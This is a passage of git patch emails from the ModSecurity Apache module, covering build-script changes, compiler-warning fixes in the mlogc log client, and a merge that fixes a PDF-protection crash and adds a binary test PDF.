$APXS_LIBTOOL); fi + APXS_CC="`$APXS -q CC`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs CC: $APXS_CC); fi + APXS_BINDIR="`$APXS -q BINDIR`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs BINDIR: $APXS_BINDIR); fi + APXS_SBINDIR="`$APXS -q SBINDIR`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs SBINDIR: $APXS_SBINDIR); fi + APXS_PROGNAME="`$APXS -q PROGNAME`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs PROGNAME: $APXS_PROGNAME); fi + APXS_LIBEXECDIR="`$APXS -q LIBEXECDIR`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs LIBEXECDIR: $APXS_LIBEXECDIR); fi + if test "$APXS_SBINDIR" = "/"; then + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + else + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + fi + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs HTTPD: $APXS_HTTPD); fi +else + AC_MSG_ERROR(couldn't find APXS) +fi + +# Use Apache httpd source srclib as base for pcre, apr and apu config scripts +AC_ARG_WITH(httpd-src, + [AS_HELP_STRING([[--with-httpd-src=PATH]], + [PATH is to the Apache httpd source tree where srclib will be used as a base for pcre, apr and apu config scripts.])], +[ + if test -n "$withval"; then + CPPFLAGS="$CPPFLAGS -I$withval/srclib/pcre" + LDFLAGS="$LDFLAGS -L$withval/srclib/pcre" + pcre_path="$withval/srclib/pcre" + apr_path="$withval/srclib/apr" + apu_path="$withval/srclib/apr-util" + else + AC_MSG_ERROR(--with-httpd-src requires a path) + fi +]) + +# Include M4 macros +sinclude(build/find_pcre.m4) +sinclude(build/find_apr.m4) +sinclude(build/find_apu.m4) +sinclude(build/find_xml.m4) +sinclude(build/find_lua.m4) +sinclude(build/find_curl.m4) + + ### Build *EXTRA_CFLAGS vars if test -n "$debug_mem"; then From a06d8f8ce74d423885a1f09a74c060bb21dd7485 Mon Sep 17 00:00:00 2001 From: b1v1r Date: Wed, 18 Feb 2009 18:53:12 +0000 Subject: [PATCH 109/110] Fixed strict compiler warnings for mlogc. Updated mlogc copyright year. --- apache2/mlogc-src/mlogc-batch-load.pl.in | 2 +- apache2/mlogc-src/mlogc.c | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/apache2/mlogc-src/mlogc-batch-load.pl.in b/apache2/mlogc-src/mlogc-batch-load.pl.in index 75d43ba5..a32f57fa 100755 --- a/apache2/mlogc-src/mlogc-batch-load.pl.in +++ b/apache2/mlogc-src/mlogc-batch-load.pl.in @@ -1,7 +1,7 @@ #!@PERL@ # # ModSecurity for Apache 2.x, http://www.modsecurity.org/ -# Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) +# Copyright (c) 2004-2009 Breach Security, Inc. (http://www.breach.com/) # # This product is released under the terms of the General Public Licence, # version 2 (GPLv2). Please refer to the file LICENSE (included with this diff --git a/apache2/mlogc-src/mlogc.c b/apache2/mlogc-src/mlogc.c index a36e155a..6e5bd81b 100644 --- a/apache2/mlogc-src/mlogc.c +++ b/apache2/mlogc-src/mlogc.c @@ -1,6 +1,6 @@ /* * ModSecurity for Apache 2.x, http://www.modsecurity.org/ - * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) + * Copyright (c) 2004-2009 Breach Security, Inc. (http://www.breach.com/) * * This product is released under the terms of the General Public Licence, * version 2 (GPLv2). Please refer to the file LICENSE (included with this @@ -363,7 +363,7 @@ static void error_log(int level, void *thread, const char *text, ...) apr_file_write_full(error_log_fd, msg2, nbytes, &nbytes_written); } else { - fprintf(stderr, msg2); + fprintf(stderr, "%s", msg2); } va_end(ap); @@ -1051,7 +1051,7 @@ static void logc_init() /* Pre-configure the handle. */ curl_easy_setopt(curl, CURLOPT_UPLOAD, TRUE); curl_easy_setopt(curl, CURLOPT_PUT, TRUE); - curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, NULL); + curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, (char *)NULL); curl_easy_setopt(curl, CURLOPT_URL, console_uri); curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, FALSE); @@ -1289,7 +1289,7 @@ static void * APR_THREAD_FUNC thread_worker(apr_thread_t *thread, void *data) curl_easy_setopt(curl, CURLOPT_DEBUGDATA, thread); curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, curl_error_buffer); curl_easy_setopt(curl, CURLOPT_USERPWD, credentials); - curl_easy_setopt(curl, CURLOPT_WRITEDATA, response_buf); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, (char *)response_buf); headerlist = curl_slist_append(headerlist, "Expect:"); headerlist = curl_slist_append(headerlist, hash); From fa96c349e5b54324a46a4907465043a0363e703b Mon Sep 17 00:00:00 2001 From: b1v1r Date: Thu, 5 Mar 2009 21:50:55 +0000 Subject: [PATCH 110/110] Merge 2.5 changes. --- .cdtproject | 1192 ---- .jupiter | 200 - .project | 85 - .settings/org.eclipse.cdt.core.prefs | 3 - CHANGES | 7 +- apache2/apache2_util.c | 2 +- apache2/mlogc-src/mlogc-batch-load.pl.in | 2 +- apache2/pdf_protect.c | 7 +- apache2/t/action/.empty | 0 apache2/t/regression/server_root/data/.empty | 0 .../t/regression/server_root/htdocs/test.pdf | Bin 0 -> 15406 bytes .../regression/server_root/logs/audit/.empty | 0 .../regression/server_root/logs/subdir/.empty | 0 apache2/t/regression/server_root/tmp/.empty | 0 .../t/regression/server_root/upload/.empty | 0 doc/modsecurity2-apache-reference.xml | 5759 +++++++++++------ doc/modsecurity2-data-formats.xml | 2 +- review/pre-2.5-brian.review | 3436 ---------- review/pre-2.5-brian.txt | 982 --- review/review-summary.pl | 50 - 20 files changed, 3910 insertions(+), 7817 deletions(-) delete mode 100644 .cdtproject delete mode 100644 .jupiter delete mode 100644 .project delete mode 100644 .settings/org.eclipse.cdt.core.prefs create mode 100644 apache2/t/action/.empty create mode 100644 apache2/t/regression/server_root/data/.empty create mode 100644 apache2/t/regression/server_root/htdocs/test.pdf create mode 100644 apache2/t/regression/server_root/logs/audit/.empty create mode 100644 apache2/t/regression/server_root/logs/subdir/.empty create mode 100644 apache2/t/regression/server_root/tmp/.empty create mode 100644 apache2/t/regression/server_root/upload/.empty delete mode 100644 review/pre-2.5-brian.review delete mode 100644 review/pre-2.5-brian.txt delete mode 100755 review/review-summary.pl diff --git a/.cdtproject b/.cdtproject deleted file mode 100644 index 93d4fd4b..00000000 --- a/.cdtproject +++ /dev/null @@ -1,1192 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - make - - all - false - true - - - make - - test - false - true - - - gksudo - make - install - false - false - - - make - - clean - false - true - - - make - - dist-clean - false - true - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.jupiter b/.jupiter deleted file mode 100644 index 4bd771a5..00000000 --- a/.jupiter +++ /dev/null @@ -1,200 +0,0 @@ - - - - property.default.description - - 1970-01-01 :: 00:00:00:000 GMT-10:00 - review - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Pre 2.5 Review - brian - 2008-01-04 :: 10:09:23:000 GMT-08:00 - review - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/.project b/.project deleted file mode 100644 index 6f0bc9dc..00000000 --- a/.project +++ /dev/null @@ -1,85 +0,0 @@ - - - ModSecurity - - - - - - org.eclipse.cdt.make.core.makeBuilder - clean,full,incremental, - - - org.eclipse.cdt.make.core.append_environment - true - - - org.eclipse.cdt.make.core.enableCleanBuild - true - - - org.eclipse.cdt.make.core.build.command - make - - - org.eclipse.cdt.make.core.useDefaultBuildCmd - true - - - org.eclipse.cdt.make.core.build.target.auto - all - - - org.eclipse.cdt.make.core.stopOnError - false - - - org.eclipse.cdt.make.core.build.location - - - - org.eclipse.cdt.make.core.build.target.inc - all - - - org.eclipse.cdt.make.core.build.arguments - - - - org.eclipse.cdt.core.errorOutputParser - org.eclipse.cdt.core.MakeErrorParser;org.eclipse.cdt.core.GCCErrorParser;org.eclipse.cdt.core.GASErrorParser;org.eclipse.cdt.core.GLDErrorParser;org.eclipse.cdt.core.VCErrorParser; - - - org.eclipse.cdt.make.core.enableAutoBuild - false - - - org.eclipse.cdt.make.core.environment - - - - org.eclipse.cdt.make.core.enabledIncrementalBuild - true - - - org.eclipse.cdt.make.core.build.target.clean - clean - - - org.eclipse.cdt.make.core.enableFullBuild - true - - - - - org.eclipse.cdt.make.core.ScannerConfigBuilder - - - - - - org.eclipse.cdt.core.cnature - org.eclipse.cdt.make.core.makeNature - org.eclipse.cdt.make.core.ScannerConfigNature - - diff --git a/.settings/org.eclipse.cdt.core.prefs b/.settings/org.eclipse.cdt.core.prefs deleted file mode 100644 index 2222ff26..00000000 --- a/.settings/org.eclipse.cdt.core.prefs +++ /dev/null @@ -1,3 +0,0 @@ -#Fri Jan 04 09:57:26 GMT-08:00 2008 -eclipse.preferences.version=1 -indexerId=org.eclipse.cdt.core.fastIndexer diff --git a/CHANGES b/CHANGES index cda4a90c..ea8a1e9b 100644 --- a/CHANGES +++ b/CHANGES @@ -1,12 +1,13 @@ -07 Oct 2008 - trunk +21 Nov 2008 - 2.5.8 ------------------- + * Fixed PDF XSS issue where a non-GET request for a PDF file would crash the + Apache httpd process. Discovered by Steve Grubb at Red Hat. + * Removed an invalid "Internal error: Issuing "%s" for unspecified error." message that was logged when denying with nolog/noauditlog set and causing the request to be audited. - * Persistent counter updates are now atomic. - 24 Sep 2008 - 2.5.7 ------------------- diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index 353c76f4..34fa0c3f 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -240,7 +240,7 @@ void internal_log(request_rec *r, directory_config *dcfg, modsec_rec *msr, char str1[1024] = ""; char str2[1256] = ""; - /* Find the logging FD and look up the logging level in the configuration. */ + /* Find the logging FD and determine the logging level from configuration. */ if (dcfg != NULL) { if ((dcfg->debuglog_fd != NULL)&&(dcfg->debuglog_fd != NOT_SET_P)) { debuglog_fd = dcfg->debuglog_fd; diff --git a/apache2/mlogc-src/mlogc-batch-load.pl.in b/apache2/mlogc-src/mlogc-batch-load.pl.in index a32f57fa..75d43ba5 100755 --- a/apache2/mlogc-src/mlogc-batch-load.pl.in +++ b/apache2/mlogc-src/mlogc-batch-load.pl.in @@ -1,7 +1,7 @@ #!@PERL@ # # ModSecurity for Apache 2.x, http://www.modsecurity.org/ -# Copyright (c) 2004-2009 Breach Security, Inc. (http://www.breach.com/) +# Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) # # This product is released under the terms of the General Public Licence, # version 2 (GPLv2). Please refer to the file LICENSE (included with this diff --git a/apache2/pdf_protect.c b/apache2/pdf_protect.c index d5c26482..0c708955 100644 --- a/apache2/pdf_protect.c +++ b/apache2/pdf_protect.c @@ -365,7 +365,6 @@ apr_status_t pdfp_output_filter(ap_filter_t *f, apr_bucket_brigade *bb_in) { */ int pdfp_check(modsec_rec *msr) { const char *token = NULL; - directory_config *cfg = NULL; char *uri = NULL; char *p = NULL; @@ -426,10 +425,12 @@ int pdfp_check(modsec_rec *msr) { /* Ignore request methods other than GET and HEAD if * configured to do so. + * + * TODO: Code here is only GET, not GET|HEAD as comment states */ - if ((msr->r->method_number != M_GET)&&(cfg->pdfp_only_get != 0)) { + if ((msr->r->method_number != M_GET)&&(msr->txcfg->pdfp_only_get != 0)) { if (msr->txcfg->debuglog_level >= 4) { - msr_log(msr, 4, "PdfProtect: Not intercepting a GET/HEAD request " + msr_log(msr, 4, "PdfProtect: Not intercepting request " "(method=%s/%d).", log_escape_nq(msr->mp, msr->r->method), msr->r->method_number); } diff --git a/apache2/t/action/.empty b/apache2/t/action/.empty new file mode 100644 index 00000000..e69de29b diff --git a/apache2/t/regression/server_root/data/.empty b/apache2/t/regression/server_root/data/.empty new file mode 100644 index 00000000..e69de29b diff --git a/apache2/t/regression/server_root/htdocs/test.pdf b/apache2/t/regression/server_root/htdocs/test.pdf new file mode 100644 index 0000000000000000000000000000000000000000..a6ec2d04c7ff2428885770f29ac8164264ab53c7 GIT binary patch literal 15406 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 